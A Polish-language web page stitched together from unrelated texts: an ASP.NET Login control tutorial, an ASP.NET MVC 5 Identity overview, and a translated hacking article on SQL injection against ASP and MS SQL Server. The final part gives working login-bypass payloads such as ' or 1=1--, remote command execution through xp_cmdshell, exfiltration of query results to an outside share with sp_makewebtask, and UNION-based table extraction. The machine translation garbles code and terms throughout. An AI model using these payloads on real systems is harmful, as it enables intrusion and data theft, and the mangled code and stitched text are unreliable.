Brzydkie logowanie asp. Serwer eus do pracy z kontami użytkowników. Co zrobić, jeśli nie znalazłeś strony, która używa danych wejściowych?

Kontrola logowania

Kontrolka logowania ułatwia tworzenie strony logowania uwierzytelniania formularza w połączeniu z interfejsem API członkostwa. Zapewnia gotowy do użycia interfejs użytkownika, który wyświetla monit o podanie nazwy użytkownika i hasła oraz udostępnia przycisk umożliwiający zalogowanie się użytkownika. Za kulisami zawiera funkcjonalność opisaną w poprzednim artykule: sprawdzanie tożsamości użytkowników za pośrednictwem interfejsu API członkostwa i hermetyzację podstawowych funkcji uwierzytelniania formularzy, takich jak przekierowanie do pierwotnie żądanej strony w bezpiecznym obszarze aplikacji po pomyślnym zalogowaniu.

Oznacza to, że logowanie zawiera elementy takie jak Membership.ValidateUser() lub FormsAuthentication.RedirectFromLoginPage(), więc nie musisz samodzielnie pisać tego kodu. Poniższy rysunek przedstawia działanie kontrolki Login:

Za każdym razem, gdy użytkownik kliknie przycisk Zaloguj się, formant automatycznie weryfikuje nazwę użytkownika i hasło przy użyciu funkcji Membership.ValidateUser(), a następnie wywołuje FormsAuthenication.RedirectFromLoginPage(), jeśli weryfikacja zakończy się pomyślnie. Wszystkie opcje kontrolki logowania wpływają na dane wejściowe dostarczane do tych metod. Na przykład, jeśli zaznaczysz pole wyboru Zapamiętaj mnie następnym razem, zostanie przekazane true w parametrze createPersistentCookie metody RedirectFromLoginPage(). W związku z tym FormsAuthenticationModule tworzy trwały plik cookie.

Behind the Scenes Login to kontrolka złożona ASP.NET. Jest w pełni rozszerzalny, w tym sensie, że umożliwia nadpisanie dowolnych stylów i właściwości układu, a także wyłapywanie zdarzeń generowanych przez pułapki w celu nadpisania domyślnego zachowania. Jeśli pozostawisz kontrolkę bez zmian i nie przechwycisz żadnych zdarzeń, automatycznie użyje ona dostawcy członkostwa skonfigurowanego dla aplikacji.

Najprostsza forma kontrolki logowania na stronie wygląda tak:

Dostępnych jest kilka właściwości umożliwiających zmianę wyglądu kontrolki logowania. Możesz zastosować różne ustawienia stylu, jak pokazano poniżej:

Możesz również użyć klas CSS, aby dostosować wygląd Loginu. Każda właściwość stylu obsługiwana przez kontrolkę logowania zawiera właściwość CssClass. Podobnie jak w przypadku każdej innej kontrolki ASP.NET, ta właściwość umożliwia określenie nazwy klasy CSS, która została wcześniej dodana do witryny internetowej. Załóżmy, że do projektu został dodany następujący arkusz stylów CSS o nazwie MyStyles.css:

MyLoginTextBoxStyle ( kursor: wskaźnik; kolor tła: żółty; text-align: center; padding: 6px; border: kropkowany czarny; rodzina czcionek: Verdana; vertical-align: middle; ) .Login ( display:inline-block; ) .Tytuł ( dopełnienie: 6px; )

Ten plik stylu można dołączyć do strony logowania, aby móc stylizować element Login:

W poniższej tabeli wymieniono style obsługiwane przez kontrolkę logowania. Każdy styl działa w ten sam sposób. Właściwości czcionki i koloru można ustawić bezpośrednio lub możesz użyć właściwości CssClass, aby określić żądaną klasę CSS:

Style obsługiwane przez kontrolę logowania
Styl Opis
Styl pola wyboru

Definiuje właściwości stylu dla pola wyboru Zapamiętaj mnie następnym razem

Styl niepowodzenia

Określa styl tekstu wyświetlanego w przypadku niepowodzenia logowania.

Styl hiperłącza

Kontrolka logowania umożliwia zdefiniowanie kilku typów hiperłączy, na przykład do strony początkowej rejestracji. Ten styl definiuje wygląd takich hiperłączy.

Styl tekstu instrukcji

Kontrolka logowania umożliwia określenie tekstu pomocy, który jest wyświetlany bezpośrednio w nim samym. Ten styl określa wygląd tego tekstu.

Styl etykiety

Definiuje styl etykiet Nazwa użytkownika (Nazwa użytkownika) i Hasło (Hasło)

ZalogujPrzyciskStyl

Określa styl przycisku logowania

Styl pola tekstowego

Określa styl pól tekstowych Nazwa użytkownika i Hasło

StylTekstuTytułowego

Określa styl tekstu nagłówka dla kontrolki logowania

ValidatorTextStyle

Definiuje style kontrolek używanych do walidacji nazwy użytkownika i hasła

Interfejs użytkownika elementu Login można nie tylko dostosować za pomocą tych stylów; inne dodatkowe właściwości dotyczą określonych części zawartości kontrolki, takich jak przycisk Zaloguj się, który umożliwia również dostosowanie GUI.

Na przykład możesz wybrać tekst wyświetlany na przycisku logowania, a nawet wyświetlić hiperłącze zamiast tego przycisku (ustawione domyślnie). Ponadto możesz dodać wiele hiperłączy do kontrolki logowania, takich jak łącze do strony pomocy lub strony rejestracji. Obie strony muszą być otwarte dla anonimowego dostępu, ponieważ pomoc musi być również oferowana anonimowym użytkownikom (pamiętaj, że jeśli ktoś widzi kontrolkę Login, jest potencjalnie anonimowym użytkownikiem). Aby dołączyć dodatkowe linki w Login, zmodyfikuj poprzednio pokazaną definicję w następujący sposób:

...

Ten kod wyświetla dwa dodatkowe łącza, jeden do strony pomocy, a drugi do wstępnej strony rejestracji, oraz dodaje krótki tekst instrukcji pod nagłówkiem elementu Login:

Opisane wcześniej style mają również zastosowanie do tych właściwości. W poniższej tabeli opisano ważne właściwości dostosowywania kontrolki logowania:

Ważne właściwości dostosowywania kontroli logowania
Nieruchomość Opis
Wiadomość tekstowa
Tekst tytułu

Tekst wyświetlany w tytule kontrolki

tekst instrukcji

Ta właściwość została już użyta w poprzednim fragmencie kodu. Zawiera tekst wyświetlany pod tytułem kontrolki

Tekst awarii

Tekst wyświetlany przez kontrolkę logowania, jeśli próba logowania się nie powiedzie

Tekst etykiety nazwy użytkownika

Tekst wyświetlany jako etykieta przed polem tekstowym nazwy użytkownika

Tekst Etykiety Hasła

Tekst wyświetlany jako etykieta przed polem tekstowym hasła użytkownika

Nazwa Użytkownika

Wartość początkowa, która wypełnia pole tekstowe nazwy użytkownika

Nazwa użytkownikaRequiredErrorMessage

Komunikat o błędzie wyświetlany, jeśli użytkownik nie wprowadził nazwy

HasłoWymagana wiadomość o błędzie

Komunikat o błędzie wyświetlany, jeśli użytkownik nie wprowadził hasła

Przycisk logowania
ZalogujTekstPrzycisku

Tekst wyświetlany na przycisku logowania

Zaloguj sięButtonType
ZalogujPrzyciskObrazurl

Jeśli przycisk logowania jest prezentowany jako obraz graficzny, musisz podać adres URL, pod którym znajduje się ten obraz

Strona logowania
URL strony docelowej

Jeśli próba logowania się powiodła, formant Login przekierowuje użytkownika do tej strony. Domyślnie ta właściwość jest pusta. Jeśli jest pusty, używa struktury uwierzytelniania formularzy do przekierowania do oryginalnej żądanej strony lub do domyślnego adresu URL skonfigurowanego w web.config na potrzeby uwierzytelniania formularzy

AwariaAkcja

Określa akcję podejmowaną przez formant po nieudanej próbie logowania. Dwie prawidłowe opcje to Refresh i RedirectToLoginPage. Pierwsza wartość powoduje odświeżenie tylko bieżącej strony, natomiast druga wartość przekierowuje do skonfigurowanej strony logowania. Druga opcja jest przydatna, jeśli kontrolka logowania jest używana w innym miejscu niż na stronie logowania

Widoczne po zalogowaniu

Jeśli ustawiono wartość false, formant automatycznie ukrywa się, jeśli użytkownik jest już zalogowany. Jeśli ustawiono na true (domyślnie), element Login jest wyświetlany, nawet jeśli użytkownik jest zalogowany.

Dostosowywanie tagu „Zapamiętaj mnie”
WyświetlZapamiętajMnie

Umożliwia pokazanie lub ukrycie pola wyboru Zapamiętaj mnie następnym razem. Ta właściwość jest domyślnie ustawiona na true.

Zapamiętaj MeSet

Określa domyślną wartość pola wyboru Zapamiętaj mnie następnym razem. Domyślnie ta właściwość jest ustawiona na false, tj. pole wyboru nie jest zaznaczone

Strona rejestracji
UtwórzUrlUżytkownika

Definiuje hiperłącze do strony internetowej, które umożliwia tworzenie (rejestrowanie) użytkownika. Dlatego jest to powszechnie używane, aby umożliwić użytkownikowi dostęp do początkowej strony rejestracji. Zwykle wyświetla kontrolkę CreateUserWizard.

UtwórzTekstUżytkownika
Utwórz UserIconUrl

Adres URL grafiki do wyświetlenia z tekstem hiperłącza CreateUserUrl

Strona pomocy
Adres URL strony pomocy

URL do przekierowania użytkownika na stronę pomocy

Tekst strony pomocy
HelpPageIconUrl

Adres URL ikony wyświetlanej wraz z tekstem hiperłącza HelpPageUrl

Strona odzyskiwania hasła
URL odzyskiwania hasła

Adres URL przekierowujący użytkownika na stronę odzyskiwania hasła. Ta strona jest używana, gdy użytkownik zapomniał hasła. Zwykle wyświetla kontrolkę PasswordRecovery

Tekst odzyskiwania hasła
PasswordRecoveryIconUrl

Adres URL ikony wyświetlanej wraz z tekstem hiperłącza PasswordRecoveryUrl

Szablony i kontrola logowania

Jak widać, dzięki wszystkim tym właściwościom kontrolka logowania jest wysoce konfigurowalna. Ale jak zapewne zauważyłeś, nie można zdefiniować wyrażenia do sprawdzania poprawności danych wejściowych. Oczywiście można zaimplementować walidację po stronie serwera w procedurach zdarzeń oferowanych przez kontrolkę Login. Jeśli chcesz dodać niektóre elementy do kontrolki złożonej logowania, nie możesz tego zrobić za pomocą powyższych właściwości. Na przykład, co zrobić, jeśli potrzebujesz drugiego pola tekstowego do silnego uwierzytelniania z drugim hasłem lub niestandardowym kluczem dostępu, jak to się dzieje w niektórych witrynach rządowych?

Na szczęście, podobnie jak inne kontrolki, takie jak GridView, kontrolka logowania obsługuje szablony. Korzystając z szablonów, możesz dostosować zawartość kontrolki logowania bez żadnych ograniczeń. Możesz dodać do niego dowolne nowe kontrolki. Stosuje niestandardowy szablon do kontrolki logowania za pomocą uchwytu Szablon układu:

Zaloguj się

Nazwa użytkownika:
Hasło:


Patrząc na powyższy kod, pojawia się jedno pytanie: jeśli musisz napisać tak dużo kodu interfejsu użytkownika podczas dostosowywania szablonu (lub projektowania go w wizualnym designerze), dlaczego nie napisać własnej strony logowania bez użycia kontrolki Login?

To jest właściwe pytanie. Jednak, jak wyjaśniono wcześniej, część interfejsu jest tylko jedną częścią elementu Login. Na przykład w przypadku, gdy użytkownik kliknie przycisk logowania, formant logowania ma już cały niezbędny kod do automatycznego sprawdzania poprawności użytkownika względem magazynu członkostwa i przekierowywania użytkownika do oryginalnej strony, o którą prosili za pośrednictwem struktury uwierzytelniania formularzy. Więc zdecydowanie oszczędzisz sobie kłopotów z pisaniem tego kodu.

Dzięki odpowiednim kontrolkom i właściwym wartościom identyfikatorów dla tych kontrolek nie musisz pisać żadnego kodu obsługi zdarzeń. Kod działa w zwykły sposób, z wyjątkiem tego, że definiujesz zestaw kontrolek i ich układ. W rzeczywistości kontrolka logowania wymaga co najmniej dwóch pól tekstowych z identyfikatorami UserName i Password. Jeśli tych dwóch pól tekstowych brakuje (lub mają różne wartości identyfikatora), wówczas Login zgłosi wyjątek. Wszystkie inne kontrolki są opcjonalne, ale jeśli podasz odpowiednią wartość identyfikatora (na przykład Login dla przycisku logowania), Login automatycznie obsłuży ich zdarzenia i będzie zachowywał się tak, jak w przypadku zastosowania domyślnego układu.

W poniższej tabeli wymieniono wartości identyfikatorów specjalnych, wymagane dla nich typy elementów oraz flagę obowiązkową:

Kontrolka logowania może być dowolną kontrolką obsługującą propagację zdarzeń i właściwość CommandName. Ważne jest, aby ustawić właściwość CommandName tego elementu na Login, ponieważ w przeciwnym razie formant Login nie rozpozna go podczas obsługi zdarzenia. Jeśli nie dodasz kontrolki z właściwością CommandName ustawioną na Login, będziesz musiał samodzielnie obsłużyć zdarzenia i napisać odpowiedni kod, aby zweryfikować nazwę użytkownika i hasło oraz przekierować do pierwotnie żądanej strony.

Możesz także dodać kontrolki z innymi identyfikatorami, które w ogóle nie mają nic wspólnego z logowaniem. Powyższy kod używał elementów RequiredFieldValidator i RegularExpressionValidator do sprawdzania poprawności pól nazwy użytkownika i hasła.

Podczas korzystania z LayoutTemplate wiele właściwości natywnych dla kontrolki staje się niedostępnych. Po zastosowaniu szablonu dostępne są tylko następujące właściwości:

    URL strony docelowej

    Widoczne po zalogowaniu

  • Dostawca członkostwa

Wszystkie właściwości stylu i kilka właściwości ustawiania zawartości tekstowej elementów domyślnych nie są już dostępne w Edytorze właściwości programu Visual Studio, ponieważ można je ręcznie dodać jako pojedyncze kontrolki lub tekst statyczny do szablonu elementu logowania. Jeśli dodasz je do elementu Login w trybie szablonu, zostaną po prostu zignorowane, ponieważ szablon zastępuje domyślny interfejs elementu Login, który używa tych właściwości.

Programowanie kontroli logowania

Kontrolka logowania obsługuje kilka zdarzeń i właściwości, których można użyć do dostosowania jego zachowania. Zapewniają pełną kontrolę nad dostrajaniem kontrolki logowania (wraz z innymi narzędziami dostosowywania, takimi jak szablony i właściwości stylu). Kontrolka logowania obsługuje zdarzenia wymienione w poniższej tabeli:

Zdarzenia kontroli logowania
Wydarzenie Opis
Logowanie

Uruchamiany tuż przed uwierzytelnieniem użytkownika przez kontrolkę

Zalogowany

Uruchamiany po uwierzytelnieniu użytkownika przez kontrolkę

Błąd logowania

Uruchamiany, gdy próba logowania użytkownika nie powiedzie się z jakiegoś powodu (na przykład nieprawidłowe hasło lub nazwa użytkownika)

Uwierzytelniać

Zainicjowany w celu uwierzytelnienia użytkownika. Jeśli obsłużysz to zdarzenie, musisz sam uwierzytelnić użytkownika, a kontrolka logowania będzie polegać całkowicie na twoim kodzie uwierzytelniającym

Pierwsze trzy zdarzenia mogą być obsługiwane w celu wykonania niektórych czynności przed uwierzytelnieniem użytkownika, po uwierzytelnieniu oraz w przypadku wystąpienia błędu podczas uwierzytelnienia. Na przykład zdarzenie LoginError może zostać użyte do automatycznego przekierowania użytkownika na stronę odzyskiwania hasła po określonej liczbie prób logowania, jak pokazano poniżej:

Protected void Page_Load(object sender, EventArgs e) ( if (!this.IsPostBack) ViewState["LoginErrors"] = 0; ) protected void Login1_LoginError(object sender, EventArgs e) ( // Jeśli stan LoginErrors nie istnieje, utwórz it if (ViewState["LoginErrors"] == null) ViewState["LoginErrors"] = 0; // Zwiększenie licznika nieudanych prób logowania int ErrorCount = (int)ViewState["LoginErrors"] + 1; ViewState["LoginErrors "] = ErrorCount ; // Sprawdź liczbę nieudanych prób, jeśli ((ErrorCount > 3) && (Login1.PasswordRecoveryUrl != string.Empty)) Response.Redirect(Login1.PasswordRecoveryUrl); )

Kontrola logowania odpala zdarzenia w kolejności pokazanej na poniższym rysunku:

Jak wspomniano wcześniej, jeśli przechwytujesz zdarzenie Uwierzytelnianie, musisz dodać własną nazwę użytkownika i kod weryfikacyjny hasła. Nieruchomość Uwierzytelniać utrzymuje wystąpienie listy parametrów AuthenticateEventArgs. Ta klasa argumentów zdarzenia obsługuje jedną właściwość o nazwie Authenticated. Jeśli ustawiono wartość true, formant logowania zakłada, że ​​uwierzytelnianie powiodło się i uruchamia zdarzenie LoggedIn. Jeśli ustawisz tę właściwość na wartość false, zostanie wyświetlony komunikat FailureText i zostanie zgłoszone zdarzenie LoginError:

Chronione void Login1_Authenticate(object sender, AuthenticateEventArgs e) ( if (Membership.ValidateUser(Login1.UserName, Login1.Password)) ( e.Authenticated = true; ) else ( e.Authenticated = false; ) )

Jak widać, istnieje bezpośredni dostęp do wprowadzonych wartości poprzez właściwości UserName i Password, które zawierają tekst wprowadzony w odpowiednich polach tekstowych. Jeśli używasz kontrolek szablonu i chcesz uzyskać wartość z innego elementu, oprócz elementów o identyfikatorach UserName i Password, możesz użyć metody FindControl(), aby uzyskać ten dodatkowy element. Ta metoda pobiera identyfikator żądanego elementu i zwraca wystąpienie System.Web.UI.Control. Wynikowy obiekt jest następnie po prostu rzutowany na typ żądanej kontrolki i odczytywana jest wartość wymagana przez niestandardową metodę weryfikacji tożsamości użytkownika.

Ostatnia aktualizacja: 31.10.2015

Wydanie ASP.NET MVC 5 oznaczało wydanie nowego systemu autoryzacji i uwierzytelniania w aplikacjach .NET o nazwie ASP.NET Identity. Ten system zastąpił dostawców Simple Membership, którzy zostali wprowadzeni w ASP.NET MVC 4.

Klikając przycisk Zmień uwierzytelnianie, możemy zmienić typ uwierzytelnienia, wybierając jedną z poniższych opcji:

    Brak uwierzytelniania: tożsamość ASP.NET i brak wbudowanego systemu uwierzytelniania

    Indywidualne konta użytkowników : Domyślnie projekt zawiera system ASP.NET Identity, który umożliwia autoryzację zarówno użytkowników w ramach aplikacji, jak i korzystanie z usług zewnętrznych, takich jak google, twitter itp.

    Konta Organizacyjne: odpowiednie dla stron internetowych i aplikacji internetowych poszczególnych firm i organizacji

    Uwierzytelnianie Windows: system uwierzytelniania dla intranetów korzystających z kont Windows

Zostawmy wartość domyślną, czyli Indywidualne Konta Użytkowników i utwórzmy projekt.

Stworzony projekt już domyślnie posiada całą infrastrukturę niezbędną do autoryzacji: modele, kontrolery, widoki. Jeśli zajrzymy do węzła References (Libraries), zobaczymy tam szereg bibliotek kluczy, które zawierają klasy niezbędne do autoryzacji i uwierzytelniania:

Jest to zestaw bibliotek OWIN, które dodają funkcjonalność OWIN do projektu, a także trzy biblioteki samej ASP.NET Identity:

    Microsoft.AspNet.Identity.EntityFramework: zawiera klasy Entity Framework, które używają ASP.NET Identity i komunikują się z SQL Server

    Microsoft.AspNet.Identity.Core: zawiera kilka kluczowych interfejsów ASP.NET Identity. Implementacja tych interfejsów pozwoli wyjść poza MS SQL Server i wykorzystać inne DBMS jako przechowywanie kont, w tym systemy NoSQL.

    Microsoft.AspNet.Identity.OWIN: zapewnia uwierzytelnianie OWIN do aplikacji ASP.NET MVC przy użyciu tożsamości ASP.NET

Skoro cała infrastruktura jest już w projekcie, uruchommy projekt, na stronie wyświetlanej w przeglądarce znajdziemy link Zarejestrować i kliknij na niego. Na stronie rejestracji, która się otworzy, wprowadź dane:

Po rejestracji login zostanie wyświetlony w prawym górnym rogu strony internetowej aplikacji internetowej. Po rejestracji możemy się wylogować klikając na LogOff i zalogować się ponownie. W ten sposób możemy już zacząć korzystać z wbudowanego systemu uwierzytelniania w aplikacji ASP.NET MVC 5. Przyjrzyjmy się teraz jego głównym punktom.

Po pierwsze, gdzie to wszystko jest przechowywane? Gdzie trafiają dane zarejestrowanych użytkowników?

W takim przypadku stosuje się podejście Code First. Plik web.config ma już domyślne parametry połączenia, które określają katalog bazy danych. Jeśli rozwiniemy folder App_Data, zobaczymy utworzoną bazę danych:

Jeśli nagle baza danych nie jest widoczna w folderze, kliknij przycisk Pokaż wszystkie pliki u góry okna Eksploratora rozwiązań.

Możemy otworzyć tę bazę w oknie Server Explorer i zobaczyć jej zawartość:

Domyślnie podczas rejestracji pierwszego użytkownika tworzony jest następujący zestaw tabel:

    MigrationHistory : używany przez EntityFramework do migracji baz danych

    AspNetRoles : zawiera definicje ról

    AspNetUserClaims : tabela zawierająca zestaw oświadczeń. Oświadczenie reprezentuje inny model autoryzacji w porównaniu do ról. Z grubsza rzecz biorąc, roszczenie zawiera pewne informacje o użytkowniku, takie jak adres e-mail, login, wiek itp. A te informacje pozwalają zidentyfikować użytkownika i nadać mu odpowiednie prawa dostępu.

    AspNetUserLogins : tabela logowania użytkownika

    AspNetUserRoles : tabela, która ustawia określone role dla użytkowników

    AspNetUsers : sama tabela użytkowników. Jeśli go otworzymy, zobaczymy dane zarejestrowanego użytkownika

Kluczowymi jednostkami w AspNet Identity są użytkownicy i role. Cała funkcjonalność tworzenia, usuwania użytkowników, interakcji z repozytorium użytkowników jest przechowywana w klasie UserManager. Aby pracować z rolami i zarządzać nimi, AspNet Identity definiuje klasę RoleManager. Klasy UserManager i RoleManager znajdują się w bibliotece Microsoft.AspNet.Identity.Core.

Każdy użytkownik UserManager reprezentuje obiekt interfejsu IUser. Wszystkie operacje zarządzania użytkownikami są wykonywane za pośrednictwem magazynu reprezentowanego przez obiekt IUserStore.

Każda rola reprezentuje implementację interfejsu IRole, a role są zarządzane przez klasę RoleManager za pośrednictwem magazynu IRoleStore.

Bezpośrednią implementację interfejsów IUser, IRole, IUserStore i IRoleStore zapewnia przestrzeń nazw Microsoft.AspNet.Identity.EntityFramework:

Klasa IdentityUser jest implementacją interfejsu IUser. A klasa magazynu użytkownika — UserStore implementuje interfejs IUserStore.

Podobnie klasa IdentityRole implementuje interfejs IRole, a klasa magazynu ról RoleStore implementuje interfejs IRoleStore.

Aby współdziałać z bazą danych w przestrzeni nazw Microsoft.AspNet.Identity.EntityFramework, zdefiniowano klasę kontekstu IdentityDbContext

W aplikacji ASP.NET MVC nie będziemy pracować bezpośrednio z klasami IdentityUser i IdentityDbContext. Domyślnie plik jest dodawany do projektu w folderze Models IdentityModels.cs, który zawiera definicje klas użytkowników i kontekstu danych:

Klasa publiczna ApplicationUser: IdentityUser ( publiczne zadanie asynchroniczne GenerujUserIdentityAsync(UserManager) manager) ( var userIdentity = await manager.CreateIdentityAsync(this, DefaultAuthenticationTypes.ApplicationCookie); return userIdentity; ) ) public class ApplicationDbContext: IdentityDbContext ( public ApplicationDbContext() : base("DefaultConnection", throwIfV1Schema: false) ( ) publiczny statyczny ApplicationDbContext Create() ( zwróć nowy ApplicationDbContext(); ) )

W aplikacji nie pracujemy bezpośrednio z klasami IdentityUser i IdentityDbContext, ale mamy do czynienia z klasami pochodnymi.

Klasa ApplicationUser dziedziczy wszystkie właściwości z IdentityUser. Dodaje również metodę GenerateUserIdentityAsync() , która tworzy obiekt ClaimsIdentity przez wywołanie UserManager.CreateIdentityAsync . Ten obiekt zawiera informacje o tym użytkowniku.

Taka architektura pozwala wziąć gotową funkcjonalność i w razie potrzeby dodać nową, np. dodać nową właściwość dla użytkownika lub dodać nową tabelę do bazy danych.

Nie będę szczegółowo opisywał wszystkich funkcjonalności AspNet Identity, które są domyślnie dodawane do projektu, tylko pokrótce przedstawię tylko główne funkcje.

Po pierwsze, aby włączyć AspNet Identity, do projektu w folderze App_Start dodawane są dwa pliki. Plik Startup.Auth.cs zawiera klasę uruchamiania aplikacji OWIN. Ponieważ AspNet Identity używa infrastruktury OWIN, ta klasa jest jednym z kluczy i jest niezbędna do pracy.

Plik IdentityConfig.cs zawiera szereg dodatkowych klas pomocniczych: usługi do dwuskładnikowej walidacji za pomocą poczty e-mail i telefonu EmailService i SmsService , klasę menedżera użytkowników ApplicationUserManager, która dodaje szereg dodatkowych funkcji do UserManager , oraz klasę ApplicationSignInManager służącą do logowania i wylogowywania się z serwisu .

Podstawowa funkcjonalność systemu uwierzytelniania i zarządzania kontami znajduje się w dwóch kontrolerach: AccountController i ManageController

AccountController określa sposoby logowania, rejestracji, weryfikacji kodu wysłanego e-mailem lub SMS-em, resetowania hasła, przypomnienia hasła, logowania do serwisu za pomocą usług zewnętrznych. Kontroler ManageController służy do zarządzania kontem i oferuje możliwość zmiany hasła oraz zarządzania numerami telefonów w systemie. W przypadku obu kontrolerów wszystkie niezbędne widoki i specjalne modele widoków są już generowane domyślnie.

Pomimo tego, że domyślnie dysponujemy już gotową funkcjonalnością, to jednak w niektórych przypadkach, na przykład do wysłania SMS-a lub e-maila, wymagane są dodatkowe ustawienia. Przyjrzyjmy się teraz głównym punktom systemu AspNet Identity.

SQL Injection for Dummies, hack ASP+MSSQL

Aleksander Antipow

Ten artykuł nie zawiera żadnych nowych prawd, wstrzykiwanie SQL jest szeroko opisane i szeroko stosowane. Artykuł jest bardziej przeznaczony dla początkujących, ale być może profesjonaliści będą w stanie znaleźć jedną lub dwie nowe sztuczki.


Ten artykuł ma na celu pomóc początkującym w radzeniu sobie z problemami, jakie mogą napotkać podczas korzystania z techniki SQL Injection, z powodzeniem ją wykorzystywać i bronić się przed takimi atakami.

Wstęp

Kiedy interesujący serwer ma otwarty tylko port 80, a skaner luk w zabezpieczeniach nie może zgłosić niczego interesującego, a wiesz, że administrator systemu zawsze bardzo szybko łata serwer sieciowy, naszą ostatnią szansą jest włamanie do sieci. Wstrzyknięcie SQL to jeden z rodzajów hacków internetowych, który wykorzystuje tylko port 80 i może działać nawet z aktualnymi poprawkami. Atak ten jest bardziej skierowany na aplikacje internetowe (takie jak ASP, JSP, PHP, CGI itp.) niż bezpośrednio na serwer WWW lub usługi w systemie operacyjnym.

Ten artykuł nie zawiera żadnych nowych prawd, wstrzykiwanie SQL jest szeroko opisane i szeroko stosowane. Artykuł jest bardziej przeznaczony dla początkujących, ale być może profesjonaliści będą w stanie znaleźć jedną lub dwie nowe sztuczki. Polecam również sprawdzić linki na końcu tego artykułu, aby uzyskać więcej informacji od ekspertów w tej dziedzinie.

1.1 Co to jest wstrzykiwanie SQL?

SQL Injection to metoda wstrzykiwania zapytań/poleceń SQL za pośrednictwem stron internetowych. Wiele stron internetowych korzysta z parametrów prezentowanych użytkownikom sieci i wykonuje zapytanie SQL do bazy danych. Weźmy jako przykład logowanie użytkownika, gdzie istnieje strona internetowa z nazwą użytkownika i hasłem, a zapytanie SQL jest wykonywane w bazie danych, aby sprawdzić, czy istnieje zarejestrowany użytkownik z tą nazwą użytkownika i hasłem. Za pomocą SQL Injection możliwe jest przesłanie fikcyjnej nazwy użytkownika i/lub pola hasła, które zmienia zapytanie SQL, co może dostarczyć nam czegoś ciekawego.

2.0 Czego powinniśmy szukać

Spróbuj znaleźć strony, które proszą o dane, takie jak strona wyszukiwania, strona dyskusji itp. Czasami strony html używają metody POST do wysyłania poleceń do innej strony sieci Web. W takim przypadku nie zobaczysz parametrów w adresie URL. Jednak w tym przypadku możesz poszukać tagu „FORM” w źródle HTML stron. Znajdziesz coś takiego:



Wszystkie parametry pomiędzy

oraz
potencjalnie podatne na wstrzyknięcie SQL.

2.1 Co zrobić, jeśli nie znalazłeś strony, która używa danych wejściowych?

Poszukaj stron takich jak ASP, JSP, CGI lub PHP. Spróbuj znaleźć strony, które używają parametrów takich jak:

3.0. Jak mogę sprawdzić, czy to, co znalazłem, jest podatne na ataki?

Spróbuj zacząć od jednego cytatu. Wpisz następujący wiersz:

cześć" lub 1=1--

w polu nazwy użytkownika lub hasła, a nawet w parametrze adresu URL. Przykład:

Zaloguj się: cześć" lub 1=1--
Zdaj: cześć” lub 1=1--
http://duck/index.asp?id=hi” lub 1=1--

Jeśli zrobiłeś to z ukrytym polem, po prostu pobierz oryginalny kod HTML, zapisz go na dysku twardym, zmień odpowiednio adres URL i ukryte pole. Przykład:



Jeśli szczęście jest po Twojej stronie, zostaniesz zalogowany bez nazwy użytkownika lub hasła.

3.1 Ale dlaczego " lub 1=1--?

Spójrzmy na inny przykład, który wyjaśnia użyteczność konstrukcji „ lub 1=1--”. Oprócz ominięcia rejestracji, możemy również przyjrzeć się dodatkowym informacjom, które zwykle nie są dostępne. Rozważmy stronę asp, która łączy się z inną stroną z następujący adres URL:

http://kaczka/index.asp?category=jedzenie

W adresie URL „kategoria” to nazwa zmiennej, a „jedzenie” to wartość przypisana do tej zmiennej. W tym celu strona asp może zawierać następujący kod:

v_cat = request("kategoria")
sqlstr="SELECT * FROM product WHERE PCategory="" & v_cat & """
ustaw rs=conn.execute(sqlstr)

jak widać, nasza zmienna zostanie połączona z v_cat i tym samym zapytanie SQL powinno przybrać postać:

SELECT * FROM product WHERE PCategory="jedzenie"

To zapytanie powinno zwrócić zestaw zawierający co najmniej jeden wiersz pasujący do klauzuli WHERE, w tym przypadku „jedzenie”. Teraz zmieńmy adres URL w ten sposób:

http://duck/index.asp?category=jedzenie” lub 1=1--
SELECT * FROM product WHERE PCategory="jedzenie" lub 1=1--‘

To zapytanie zwróci wszystkie wiersze w tabeli produktów, niezależnie od tego, czy Pkategoria to „jedzenie”, czy nie. Podwójny myślnik "-" mówi MS SQL Server, aby zignorował resztę zapytania po pojedynczym cudzysłowie ("). Czasami można zastąpić podwójny myślnik ostrym "#".

Jeśli jednak używany jest serwer inny niż SQL lub nie możesz zignorować reszty zapytania, spróbuj:

" lub "a"="a

Teraz zapytanie SQL zmieni się w:

SELECT * FROM product WHERE PCategory="jedzenie" lub "a"="a"

To zapytanie zwróci ten sam wynik.

W zależności od aktualnego zapytania SQL może być konieczne wypróbowanie niektórych z tych możliwości:

" lub 1=1--
" lub 1=1--
lub 1=1--
" lub "a"="a
" lub "a"="a
") lub ("a"="a

4.0 Jak mogę zdalnie wykonywać polecenia za pomocą wstrzykiwania SQL?

Możliwość wpisania komendy SQL zazwyczaj oznacza, że ​​możemy wykonywać zapytania SQL do woli. Domyślna instalacja MS SQL Server działa z uprawnieniami systemowymi. Możemy wywołać wbudowane procedury, takie jak master..xp_cmdshell, aby zdalnie wykonać dowolne polecenia:

"; exec master..xp_cmdshell "ping 10.10.1.2" --

Spróbuj użyć podwójnych cudzysłowów ("), jeśli (") nie działa.

Średnik kończy bieżącą instrukcję SQL i umożliwia uruchamianie nowych poleceń SQL. Aby sprawdzić, czy polecenie się powiodło, możesz sprawdzić pakiety ICMP w 10.10.1.2, aby sprawdzić, czy zawierają one jakiekolwiek pakiety z serwera, którego dotyczy problem:

http://witryna/?ID=31610

Jeśli nie otrzymano żadnego żądania ping z serwera, a pojawi się komunikat o błędzie wskazujący na błąd uprawnień, możliwe, że administrator ograniczył dostęp użytkownika sieci Web do procedur przechowywanych.

5.0 Jak uzyskać wyniki zapytania SQL?

Możesz użyć sp_makewebtask, aby napisać swoje żądanie w HTML:

"; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

Określony adres IP musi mieć folder „share” z dostępem dla wszystkich.

6.0 Jak pobrać dane z bazy danych za pomocą komunikatu o błędzie ODBC?

Możemy wykorzystać informacje z komunikatu o błędzie wygenerowanego przez SQL Server, aby uzyskać dowolne dane. Rozważmy na przykład następującą stronę:

http://duck/index.asp?id=10

Teraz spróbujemy połączyć liczbę całkowitą „10” z innym wierszem w bazie danych:

http://duck/index.asp?id=10 UNION SELECT TOP 1 NAZWA_TABELI Z INFORMATION_SCHEMA.TABLES--

Tabela systemowa INFORMATION_SCHEMA.TABLES zawiera informacje dotyczące wszystkich tabel na serwerze.

Pole TABLE_NAME zawiera oczywiście nazwę każdej tabeli w bazie danych. Została wybrana, ponieważ wiemy, że zawsze istnieje. Nasza prośba:

WYBIERZ TOP 1 NAZWA_TABELI Z INFORMACJI_SCHEMATU.TABEL--

